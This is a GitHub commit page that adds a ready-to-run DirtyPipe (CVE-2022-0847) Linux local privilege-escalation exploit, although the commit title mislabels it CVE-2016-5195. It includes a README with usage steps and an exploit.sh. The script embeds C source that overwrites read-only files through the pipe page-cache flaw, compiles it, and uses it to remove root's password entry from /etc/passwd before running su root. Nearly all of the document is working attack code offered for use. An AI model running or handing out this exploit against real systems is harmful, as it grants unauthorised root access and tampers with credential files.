Skip to content

Commit

Permalink
add CVE-2016-5195 Linux 内核提权漏洞(DirtyPipe)
Browse files Browse the repository at this point in the history
  • Loading branch information
helloexp committed Mar 10, 2022
1 parent cf7267e commit f921960
Show file tree
Hide file tree
Showing 2 changed files with 172 additions and 0 deletions.
19 changes: 19 additions & 0 deletions 98-Linux提权/CVE-2022-0847-DirtyPipe提权/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
# Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

## 漏洞描述
漏洞类似于 脏牛:CVE-2016-5195 “Dirty Cow”,但是更加容易利用

## 提权限制
the attacker must have read permissions (because it needs to splice() a page into a pipe)

the offset must not be on a page boundary (because at least one byte of that page must have been spliced into the pipe)

the write cannot cross a page boundary (because a new anonymous buffer would be created for the rest)

the file cannot be resized (because the pipe has its own page fill management and does not tell the page cache how much data has been appended)

## 使用方法
```shell
bash exploit.sh

```
153 changes: 153 additions & 0 deletions 98-Linux提权/CVE-2022-0847-DirtyPipe提权/exploit.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,153 @@
#/bin/bash
cat>exp.c<<EOF
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
EOF

gcc exp.c -o exp -std=c99

# 备份密码文件
rm -f /tmp/passwd
cp /etc/passwd /tmp/passwd
if [ -f "/tmp/passwd" ];then
echo "/etc/passwd已备份到/tmp/passwd"
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"

echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"

# 现在可以无需密码切换到root账号
su root
else
echo "/etc/passwd未备份到/tmp/passwd"
exit 1
fi

0 comments on commit f921960

Please sign in to comment.